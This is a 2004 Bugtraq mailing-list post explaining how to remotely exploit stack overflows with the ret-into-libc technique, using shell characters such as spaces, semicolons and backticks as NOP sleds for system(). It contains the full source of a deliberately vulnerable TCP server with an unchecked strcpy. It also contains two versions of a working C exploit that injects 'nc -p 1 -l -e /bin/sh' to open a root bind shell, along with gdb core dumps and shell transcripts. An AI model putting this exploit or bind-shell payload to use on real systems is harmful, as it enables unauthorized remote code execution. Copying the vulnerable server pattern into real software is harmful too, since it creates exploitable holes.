

Advanced usage of system() function.

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-08/0199.html>

From: Adam Zabrocki (*pi3ki31ny_at_wp.pl*)

Date: 08/13/04

Date: 13 Aug 2004 11:40:50 -0000

To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is)

```
#####  
## Advanced usage of system() function ##  
#####
```

1. Introduction

In a last few years a lot of new patches for kernel which improve security became available. Basic task of those patches is removing permission to execute for stack. What does it do? So, if an attacker is trying to exploit buffer overflow vulnerability in program, he puts shellcode on stack and change return adress of a function to point to this code. There are many techniques which make easier to find this adress, where the shellcode is placed (for example NOP trap – writing a lot of NOP for example: '\x90' instruction before shellcode, which do nothing and move %%eip farther. In consequence NOP instructions are executed as long as they reach begining of our shellcode, of course condition of this operation is to hit on of NOP's, which is relatively easy if we have a lot of this instructions. Second technique which makes life of attacker easier, is placeing shellcode in environment. All of these methods are useless if there is non-executable stack. (Un)Fortunately there are some methods, which can bypass this kind of protection. One of the most effective is returning into libc function (ret-into-libc). I assume that reader already know method mentioned above, because this is essential minimum to understand this article.

2. Specification of function system().

Function system() isn't enough good for attacker. This is caused by method in which system() processes its arguments. This function return to sh shell and call its arguments as a command for shell (sh -c <command>). Everything would be good unless sh withdraw his permissions in case of uid != euid, which in consequence provides us not to get permissions that we want to get (for example if we are exploiting vulnerability in suid program we won't get root permissions – uid 0). But using this function in exploiting remote holes in programs is good idea, because permissions won't be withdrawn, because there is nothing to be withdrawn ;-)

SecurityFocus Bugtraq: Advanced usage of system() function.

Ok, this is true, but exploiting remote holes using ret-into-libc technique is very, very hard ... but not impossible.

3. Theory.

Difficulty of that method lies in fact that we must know exact addresses of arguments. But after a while of thinking, recalling method which help us in classical exploitation of holes, in hitting the beginning address of shellcode we affirm that we can use similar method using specification of /bin/sh shell. We can use space (' ') as a NOP instruction for system(), separators(';'), indentation('^') or even slashes('/').

4. Practice.

I – Direct apply.

a) space (' ')

If using spaces is good in local exploitation, it's changing in remote exploitation. Namely, if we are using spaces, creating (classical) buffer, which will be looking like that:

```
| NOPs (space ;>) | command (eg. nc...) | system() addr | 4 bytes shifts | NOP addr |
```

Will it be working? Answer for that question is not clear ;-) Let's check it:

```
root@pi3:~# `perl -e 'print " "x90"/bin/shLEET
-bash: /bin/shLEET: No such file or directory
root@pi3:~#
```

LEET in this case is an address of system() function in our buffer (the rest of addresses is not important now). As we can see there is collision between data. And what if we will put argument of system() somewhere at the end of buffer, so NOPs will be before and after argument. Let's check:

```
root@pi3:~# `perl -e 'print " "x90"/bin/sh`perl -e 'print " "x20"LEET
LEET: LEET: No such file or directory
root@pi3:~# exit
logout
```

Hm... as we can see we still didnt get what we want (typing exit we are checking if the shell wasn't lunched). Does it mean that using spaces as NOPs in remote exploitation of holes isnt efficient? Well not, we can remedy that in an easy way, but i will say how, later.

b) separator(';')

And what with the separator ';'? Well in some respect it is worse than space, because two separators cannot be side by side. We can avoid that putting something between them. Let's test it:

SecurityFocus Bugtraq: Advanced usage of system() function.

```
root@pi3:~# ;;;;;/bin/sh
bash: syntax error near unexpected token ';'
root@pi3:~# ;a;a;a;a;a;a;/bin/sh
bash: syntax error near unexpected token ';'
root@pi3:~# a;a;a;a;a;a;/bin/sh
bash: a: command not found
bash: a: command not found
bash: a: command not found
bash: a: command not found
bash: a: command not found
bash: a: command not found
bash: a: command not found
bash: a: command not found
root@pi3:~# exit
exit
root@pi3:~#
```

As we can see everything is going according to the way we planned it. But this is less testeful way than using spaces as NOPs for system(). Remote exploitation is diffrent than with spaces. We can devide end of arguments adding some char at the end of separator, for example ";a". Everything goes good, but in this case there is a limit, number of separators + number of chars between them + command cannot be longer that constant 'path_name', which in Linux is 4095 + '0'.

c) slashes ('/')

With that the work is similiar like with separator ';'.T he buffer cannot be longer then constant 'path_name' which as i said before is calculated to 4095 + '0' in Linux systems. Let's test it:

```
root@pi3:~# `perl -e 'print "/"x4089"/bin/sh
bash: <tu 4089 slashes> /bin/sh: File name too long
root@pi3:~# `perl -e 'print "/"x4088"/bin/sh
root@pi3:~# exit
exit
root@pi3:~#
```

Everythings works as it should and it will surely work with exploitation of local bugs in similiar situation. But how to use it with remote attacks? The answer is easy: we will use it like space and at the end random data will be pasted.

d) Indentation.

As we already know, shell executes independantly commands which are placed between indentations, and the effect of a command we can put as an argument for next command. This is example:

```
root@pi3:~# ls -al `which gdb`
-rwxr-xr-x 1 root bin 1487416 Mar 19 2001 /usr/bin/gdb*
root@pi3:~#
```

Advanced usage of system() function.

SecurityFocus Bugtraq: Advanced usage of system() function.

All right, it works, but how can we use that as a NOP instruction for system() function ?? Well, if there is nothing between indentations nothing is executed. Let's see:

```
root@pi3:~# ~~~~~~  
root@pi3:~#
```

But there is a small detail, if we want our method to work properly. The number of indentations before command must be even. Usage of that method locally we can see in exploit for insignificant bug in ftpdctl (additional program in ProFTPD daemon), which we could find at:

http://pi3.int.pl/private/0day/p_ftpdctl.c

And what with remote exploitation of holes? Lets check on vulnerable server:

```
---- CUT HERE ----  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <errno.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <signal.h>  
#include <sys/wait.h>  
  
#define PORT 666  
#define PIDFILE "/var/run/vuln_server.pid"  
#define err_sys(a) {printf("%s",a);exit(-1);}  
#define SA struct sockaddr  
  
int vuln_func(char *args,int fd);  
void sig_chld(int signo);  
  
int main(void) {  
  
    int status,dlogosc,port=PORT,sockfd,connfd,listenfd;  
    struct sockaddr_in serv,client;  
    char buf[200];  
    pid_t pid;  
    FILE *logs;  
  
    if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0)  
        err_sys("Socket() error!\n");  
  
    bzero(&serv,sizeof(serv));  
    bzero(&client,sizeof(client));  
    serv.sin_family = PF_INET;  
    serv.sin_port = htons(port);  
    serv.sin_addr.s_addr=htonl(INADDR_ANY);
```

SecurityFocus Bugtraq: Advanced usage of system() function.

```
if ( (bind(listenfd,(SA*)&serv,sizeof(serv)) != 0 )
    err_sys("Bind() error!\n");

if ((listen(listenfd,2049)) != 0)
    err_sys("Listen() error!\n");

status=fork();
if (status==-1) err_sys("[FATAL]: cannot fork!\n");
if (status!=0) {
    logs=fopen(PIDFILE, "w");
    fprintf(logs,"%u",status);
    printf("\nLaunched into background (pid: %d)\n\n", status);
    fclose(logs);
    logs=NULL;
    return 0;
}
status=0;

signal (SIGCHLD,sig_chld);

for (;;) {

    dlugosc = sizeof client;
    if ( (connfd=accept(listenfd,(SA*)&client,&dlugosc) < 0) {
        if (errno = EINTR)
            continue;
        else
            err_sys("Accept error !\n");
    }

    if ( (pid=fork()) == 0) {

        if ( close(listenfd) !=0 )
            err_sys("Close error !\n");

        write(connfd,"Some leet server (smtp?) lunched by user nobody\nPlease
write
\"help\"\n",68);
        go:
        bzero(buf,sizeof(buf));
        recv(connfd, buf, sizeof(buf), 0);
        if ( (vuln_func(buf,connfd)) == 1)
            goto go;
        close(connfd);
        exit(0);
    }
    close(connfd);
}

int vuln_func(char *args,int fd) {
```

SecurityFocus Bugtraq: Advanced usage of system() function.

```
char buf[100];

if ( (strcmp(args,"help")) == 0) {
    yo:
    write(fd,"help:\n",6);
    write(fd," [*] vuln <args>\n",17);
    write(fd," [*] help\n",10);
    write(fd," [*] quit\n",10);
    return 1;
}
if ( (strncmp(args,"vuln",4)) == 0) {
    write(fd,"Vuln runing...\nCopying bytes...",31);
    strcpy(buf,args+5);
    write(fd,"\nDONE\nReturn to the main loop\n",30);
    return 1;
}
if ( (strncmp(args,"quit",4)) == 0) {
    write(fd,"Exiting...\n",11);
    return 0;
} else goto yo;
return 1;
}

void sig_chld(int signo) {

    pid_t pid;
    int stat;

    while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0)
        printf("child %d terminated\n",pid);

    return;
}
--- CUT HERE ---
```

Ok, lets compile and check if it is working:

```
root@pi3:~# cc server.c -o server
root@pi3:~# ./server
```

Launched into background (pid: 1382)

```
root@pi3:~# telnet 0 666
Trying 0.0.0.0...
Connected to 0.
Escape character is '^'.
Some leet server (smtp?) lunched by user nobody
Please write "help"
help
help:
[*] vuln <args>
```

Advanced usage of system() function.

SecurityFocus Bugtraq: Advanced usage of system() function.

```
[*] help
[*] quit
vuln AAA
Vuln runing...
Copying bytes...
DONE
Return to the main loop
quit
child 1384 terminated
Exiting...
Connection closed by foreign host.
root@pi3:~#
```

Ok, server is working, lets try to abuse vulnerable function:

```
root@pi3:~# ulimit -c unlimited
root@pi3:~# echo `perl -e 'print "A"x129`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@pi3:~# telnet 0 666
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
Some leet server (smtp?) lunched by user nobody
Please write "help"
vulnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
child 1391 terminated
Vuln runing...
Copying bytes...
DONE
Return to the main loop
Connection closed by foreign host.
root@pi3:~#
```

Ok, our session was closed. Lets check core file:

```
root@pi3:~# gdb -q ./server core
Core was generated by `./s!'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x4005de80 <__libc_system>
(gdb) quit
root@pi3:~#
```

SecurityFocus Bugtraq: Advanced usage of system() function.

Ok. Server overwrite return address. Lets try to exploit that bug using ret-into-libc technique and specification of system(). First of all we must think what we want to execute. It seems that perfect choice to portbind in this situation is netcat (nc). Lets see:

```
root@pi3:~# nc -p 1 -l -e /bin/sh&
[1] 5305
root@pi3:~# telnet 127.0.0.1 1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
pwd;
/root
: command not found
exit;
Connection closed by foreign host.
[1]+ Exit 127 nc -p 1 -l -e /bin/sh
root@pi3:~#
```

Ok, it portbind well ;-). Now we more or less count how the argument send to server must look like to execute netcat. First of all address %%eip is overwritten after 129 char which we send (if the program is compiled on gcc from series 3.x. On gcc with number 2.95.4 it is overwritten normally, as it should be, after 108 char – 4 bytes after buffer overwrite stack pointer (sfp), and next 4 our beloved register %%eip. However on compiler with number 2.95.3 after 109, I dont know why ;>), but argument must be shorter, because argument for server is 4 bytes long, to execute vulnerable function. Argument for system() is 21 bytes long. Lets calculate from which argument we must start writing address of system(): $125-21=104$. There is another important detail. Well, on some boxes, on which i was testing that (probably it also depends on version of compiler, we were compiling server on ;) system() is executed, but in fact it's not. Why is it ? I dont know, but if we want to remedy that we must write address of system() few times to a buffer. Since it wont disrupt our intentions, we can do that without any consequences. Lets build exploit according to what i wrote (exploit was written for compilers gcc 3.x so we start write function libc system() address in 129 bytes):

```
root@pi3:~# cat exp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>

#define PORT 666
#define BUFS 150
```

SecurityFocus Bugtraq: Advanced usage of system() function.

```
#define LIBC_SYSTEM 0x4005de80
#define LIBC_NEXT__ 0x4D414441 // my name in little endian system ;>
#define SA struct sockaddr

long ret_ad(void) {
    return 0xbffff890;
}

int usage(char *arg) {

    printf("\n\t.....: --[ PoC for server by pi3 (pi3ki31ny) ]=- :.....\n");
    printf("\n\tUsage:\n\t[+] %s [options]\n",arg);
    printf(" -? <this help screen>\n");
    printf(" -o <offset>\n");
    printf(" -p port\n");
    printf(" -h <victim>\n\n");
    exit(-1);
}

int main(int argc, char *argv[]) {

    long ret, *buf_addr;
    char *buf;
    struct sockaddr_in servaddr;
    struct hostent *h;
    int i, port=PORT, opt, sockfd, test=0, offset=0;

    while((opt = getopt(argc,argv,"p:o:h:?")) != -1) {
        switch(opt) {

            case 'o':

                offset=atoi(optarg);
                break;

            case 'p':

                port=atoi(optarg);
                break;

            case 'h':

                test=1;
                if ((h=gethostbyname((char*)optarg))==NULL) {
                    printf("Gethostbyname() field!\n");
                    exit(-1);
                }
                break;

            case '?':
            default:
```

SecurityFocus Bugtraq: Advanced usage of system() function.

```
    ussage(argv[0]);
    break;
}
}

if (test==0)
    ussage(argv[0]);

servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if (!(buf=(char*)malloc(BUFS))) {
    printf("\nI can't locate memory! - buf\n");
    exit(-1);
}

printf("\n\t..... :-[ PoC for server by pi3 (pi3ki31ny) ]=- ::::...\n");
printf("\n\t[+] Bulding buffers!\n");
printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM);
printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__);
printf("\t[+] Using \"/BIN/SH\" adres 0x%x\n",ret_ad());
bzero(buf,sizeof(buf));
strcpy(buf,"vuln");
for (i=0x00;i<120;i++) {
    buf[4+i]='\n';
}
strcpy(&buf[108],"nc -p 1 -l -e /bin/sh");
buf_addr=(long*)&buf[129];
*(buf_addr++) = LIBC_SYSTEM;
*(buf_addr++) = LIBC_SYSTEM;
*(buf_addr++) = LIBC_SYSTEM;
*(buf_addr++) = LIBC_NEXT__;
*(buf_addr++) = ret_ad();

if ( ( sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) {
    printf("Socket() error!\n");
    exit(-1);
}

if ( ( connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
    printf("Connect() error!\n");
    exit(-1);
}

printf("\nSending packet...\n\n");
write(sockfd,buf,strlen(buf));
write(sockfd,"quit",4);
printf("BuF = %s",buf);
return 0;
}
```

SecurityFocus Bugtraq: Advanced usage of system() function.

```
root@pi3:~# cc exp.c -o e
exp.c:25:11: warning: multi-line string literals are deprecated
exp.c: In function `main':
exp.c:57: warning: comparison between pointer and integer
exp.c:57: warning: assignment makes pointer from integer without a cast
root@pi3:~# ./e -h 0
```

```
<here we see what exploit do>
<here we see what exploit do>
<here we see what exploit do>
<here we see what exploit do>
```

```
root@pi3:~# ps aux
<here we see processes>
<here we see processes>
<here we see processes>
<here we see processes>
root 6665 1.0 0.8 1424 532 ? S 00:24 0:00 nc -p 1 -l
-e /bin/sh??@??@??@AADM?oy??@
root@pi3:~# telnet 127.0.0.1 1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
exec /bin/sh?@?@?@AADMo@ failed : No such file or directory
Connection closed by foreign host.
root@pi3:~#
```

Why things that we want to be executed, werent executed? Maybe we gave bad address for argument of system() ? Lets check:

```
root@pi3:~# ls -al core
-rw----- 1 root root 57344 2004-06-28 23:52 core
root@pi3:~# gdb -q ./s core
Core was generated by `./s'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x4d414441 in ?? ()
(gdb) x/40x 0xbfff890
0xbfff890: 0x60606060 0x60606060 0x60606060 0x60606060
0xbfff8a0: 0x60606060 0x60606060 0x60606060 0x60606060
0xbfff8b0: 0x60606060 0x60606060 0x60606060 0x60606060
0xbfff8c0: 0x60606060 0x60606060 0x60606060 0x60606060
0xbfff8d0: 0x60606060 0x60606060 0x60606060 0x60606060
0xbfff8e0: 0x60606060 0x60606060 0x60606060 0x20636e60
0xbfff8f0: 0x2f20652d 0x2f6e6962 0x2d206873 0x702d206c
0xbfff900: 0x05de8020 0x05de8040 0x05de8040 0x41444140
0xbfff910: 0xff8904d 0x40149abf 0x00000000 0x00000000
0xbfff920: 0x00000000 0x00000000 0x00000000 0x00000000
```

Advanced usage of system() function.

SecurityFocus Bugtraq: Advanced usage of system() function.

(gdb) quit

As we can see address was good, because char hidden under number 0x60 is a char of our indentation '\'. But lets recall, what were talking about exploiting remote holes if we want to use other chars which could be used as NOPs for system(). They are not separating arguments from data puted on stack. The same situation occured here, fortunately there is a way to bypass that (In this situation we can simply avoid that by puting at the end of parameter for netcat, which is the number of opened port, because netcat automaticly removes chars that are not digits. But i specially do differently to become our situation more realistic). So lets put our argument for system() between indentations, than everything should go well. Lets check:

```
root@pi3:~# cat exp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>

#define PORT 666
#define BUFS 150

#define LIBC_SYSTEM 0x4005de80
#define LIBC_NEXT__ 0x4D414441 // my name in little endian system ;>
#define SA struct sockaddr

long ret_ad(void) {
    return 0xbffff890;
}

int ussage(char *arg) {

    printf("\n\t.....: -=[ PoC for server by pi3 (pi3ki31ny) ]=- :.....\n");
    printf("\n\tUssage:\n\t[+] %s [options]\n",arg);
    printf(" -? <this help screen>\n");
    printf(" -o <offset>\n");
    printf(" -p port\n");
    printf(" -h <victim>\n\n");
    exit(-1);
}

int main(int argc, char *argv[]) {

    long ret, *buf_addr;
    char *buf;
    struct sockaddr_in servaddr;
```

Advanced usage of system() function.

SecurityFocus Bugtraq: Advanced usage of system() function.

```
struct hostent *h;
int i, port=PORT, opt, sockfd, test=0, offset=0;

while((opt = getopt(argc,argv,"p:o:h:?")) != -1) {
    switch(opt) {

        case 'o':

            offset=atoi(optarg);
            break;

        case 'p':

            port=atoi(optarg);
            break;

        case 'h':

            test=1;
            if ((h=gethostbyname((char*)optarg)==NULL)) {
                printf("Gethostbyname() field!\n");
                exit(-1);
            }
            break;

        case '?':
        default:

            usage(argv[0]);
            break;
    }
}

if (test==0)
    usage(argv[0]);

servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if (!(buf=(char*)malloc(BUFS))) {
    printf("\nI can't locate memory! - buf\n");
    exit(-1);
}

printf("\n\t.....: --[ PoC for server by pi3 (pi3ki31ny) ]=- :.....\n");
printf("\n\t[+] Bulding buffers!\n");
printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM);
printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__);
printf("\t[+] Using \"/BIN/SH\" adres 0x%x\n",ret_ad());
bzero(buf,sizeof(buf));
```

SecurityFocus Bugtraq: Advanced usage of system() function.

```
strcpy(buf,"vuln");
for (i=0x00;i<120;i++) {
    buf[4+i]='\n';
}
strcpy(&buf[106],"`nc -p 1 -l -e /bin/sh`");
buf_addr=(long*)&buf[129];
*(buf_addr++) = LIBC_SYSTEM;
*(buf_addr++) = LIBC_SYSTEM;
*(buf_addr++) = LIBC_SYSTEM;
*(buf_addr++) = LIBC_NEXT__;
*(buf_addr++) = ret_ad();

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) {
    printf("Socket() error!\n");
    exit(-1);
}

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
    printf("Connect() error!\n");
    exit(-1);
}

printf("\nSending packet...\n\n");
write(sockfd,buf,strlen(buf));
write(sockfd,"quit",4);
printf("BuF = %s",buf);
return 0;
}
root@pi3:~# cc exp.c -o e
exp.c:25:11: warning: multi-line string literals are deprecated
exp.c: In function `main':
exp.c:57: warning: comparison between pointer and integer
exp.c:57: warning: assignment makes pointer from integer without a cast
root@pi3:~# ./e -h 0
```

<here we see what exploit do>
<here we see what exploit do>
<here we see what exploit do>
<here we see what exploit do>

```
root@pi3:~# ps aux
<here we see processes>
<here we see processes>
<here we see processes>
<here we see processes>
root 6476 1.3 1.7 4420 1108 ? S 00:14 0:00 sh -c
.....
root 6477 0.0 1.8 4420 1124 ? S 00:14 0:00 sh -c
.....
root 6478 0.0 0.8 1424 532 ? S 00:14 0:00 nc -p 1
-l -e /bin/sh
```

Advanced usage of system() function.

SecurityFocus Bugtraq: Advanced usage of system() function.

```
root 6479 0.0 1.3 2800 852 pts/21 R 00:14 0:00 ps aux
root@pi3:~# telnet 127.0.0.1 1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
pwd;
/root
: command not found
exit;
Connection closed by foreign host.
root@pi3:~#
```

BOOM! That was what we wanted!!!

II – Not direct apply.

** – I wont paste here codes of exploits, i only write what i was testing and was working.

a) space (' ') + separator (;')

In paragraph about spaces (3–I,a) i said that i will give you a method to avoid danger with accidentally adding to real arguments. One of them is connection of separator with space. Lets how it can be working:

```
root@pi3:~# `perl -e 'print " "x90`/bin/sh;
root@pi3:~# exit
exit
root@pi3:~#
```

As we can see shell was executed as we was expecting. The best way is to add some data after separator (eg. one letter 'A' ;>).

b) space (' ') + indentation (`')

We can include our argument, which we want to call, after space, and after argument use indentations, what will prevent from adding data. Lets see:

```
root@pi3:~# `perl -e 'print " "x90`/bin/sh`
root@pi3:~# exit
exit
root@pi3:~#
```

Again shell was executed.

c) separator (;') and bypassing limits (trash)

As it turned out limit with constant path_len can be bypassed with usual data, which can be random. What's the problem? So, if we put any string independently of its lenght, and just after it a separator, and after separator command, which we want to be executed, and after it another separator and even a byte (as i said above)

Advanced usage of system() function.

SecurityFocus Bugtraq: Advanced usage of system() function.

(trash), we get what we wanted. Lets check:

```
root@pi3:~# `perl -e 'print "A"x9000`;/bin/sh;a
-bash: <here we have 5000x letter A>: command not found
root@pi3:~# exit
exit-bash: a: command not found
root@pi3:~#
```

Everything goes according to the way we planned ;-)

d) Others

Method with trash mentioned above can be used with indentations , but i dont know if there is any sense (Unfortunately we must use indentation at begining and ending, because of unknown reason (for me) shell goes into neverending loop – but signals are attended) ;-). Separator can also be connected with trash and also with indentation (again there is no sense ;>). However connecting spaces with separators wont work, because separators cannot be side by side.

5. Conclusion.

As it turned out, we dont need to know exact address of function argument to remote exploit using ret-into-libc method! But i still dont know the method to remote finding address of function in libc. One thing that has occured to me is remote fingerprinting and checking on box with the same OS and architecture. And there is still unsolved issue of compiler used to compile vulnerable program ;-). But this is not man topic of that article, it only shows next step to remote exploiting using returning into libc function method (ret-into-libc).

BIG greetz appelast, Sol and P3rshing
Best regards pi3 (pi3ki31ny).

...::: --[www.pi3.int.pl]== ::::...

```
--
pi3 (pi3ki31ny) - pi3ki31ny wp pl
http://www.pi3.int.pl
```